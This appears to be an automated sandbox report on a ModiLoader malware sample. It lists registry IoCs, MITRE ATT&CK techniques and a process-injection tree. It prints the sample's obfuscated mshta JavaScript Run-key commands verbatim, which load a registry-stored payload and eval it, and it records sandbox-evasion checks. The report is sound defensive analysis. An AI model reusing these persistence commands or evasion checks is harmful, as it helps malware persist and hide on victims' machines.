modiloader | e390df94426d6dbed60fa3a03f28172df8a886bca0495471e81dbd2add18cace

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:FTtb1qR=\"bgKr5YC\";S69b=new%20ActiveXObject(\"WScript.Shell\");InSXS9v=\"o59qWZB6p\";iSi15d=S69b.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\058e20f0\\\\399fd65c\");sa9YG8iY=\"6Ebigpox\";eval(iSi15d);NJFvCW9=\"1Vsqm6\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

Processes:

dllhost.exe

pid process

1232 dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Bn9czjh=\"hYy\";w8Q=new%20ActiveXObject(\"WScript.Shell\");fhmin22RXK=\"hWjiD4\";Fhkx5=w8Q.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\058e20f0\\\\399fd65c\");o3SwOLcR=\"rm\";eval(Fhkx5);vMMPZt4Kl=\"DE\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ji7n9ktlMB=\"4Hh0tw\";J95g=new%20ActiveXObject(\"WScript.Shell\");zPnD8aos=\"qZVGTMzDR\";elv02n=J95g.RegRead(\"HKCU\\\\software\\\\058e20f0\\\\399fd65c\");hdvnmgA55=\"6vc\";eval(elv02n);HhEZz3Xzy=\"Y\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	dllhost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

dllhost.exe

pid	process
1232	dllhost.exe
1232	dllhost.exe
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Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exedllhost.exedllhost.exe

pid	process
1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe
1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe
1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe
1692	dllhost.exe
1692	dllhost.exe
1692	dllhost.exe
1232	dllhost.exe
1232	dllhost.exe
1232	dllhost.exe
1232	dllhost.exe
1232	dllhost.exe
1232	dllhost.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exedllhost.exedllhost.exe

description	pid	process	target process
PID 1720 wrote to memory of 1692	1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe	dllhost.exe
PID 1720 wrote to memory of 1692	1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe	dllhost.exe
PID 1720 wrote to memory of 1692	1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe	dllhost.exe
PID 1720 wrote to memory of 1692	1720	03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe	dllhost.exe
PID 1692 wrote to memory of 1232	1692	dllhost.exe	dllhost.exe
PID 1692 wrote to memory of 1232	1692	dllhost.exe	dllhost.exe
PID 1692 wrote to memory of 1232	1692	dllhost.exe	dllhost.exe
PID 1692 wrote to memory of 1232	1692	dllhost.exe	dllhost.exe
PID 1232 wrote to memory of 2248	1232	dllhost.exe	dllhost.exe
PID 1232 wrote to memory of 2248	1232	dllhost.exe	dllhost.exe
PID 1232 wrote to memory of 2248	1232	dllhost.exe	dllhost.exe
PID 1232 wrote to memory of 2248	1232	dllhost.exe	dllhost.exe
PID 1232 wrote to memory of 3036	1232	dllhost.exe	explorer.exe
PID 1232 wrote to memory of 3036	1232	dllhost.exe	explorer.exe
PID 1232 wrote to memory of 3036	1232	dllhost.exe	explorer.exe
PID 1232 wrote to memory of 3036	1232	dllhost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\03818aca65aed1b6a8ec887d829453dd_JaffaCakes118.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1232

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
4⤵
PID:2248

C:\Windows\SysWOW64\explorer.exe
explorer.exe
4⤵
PID:3036

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

3

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery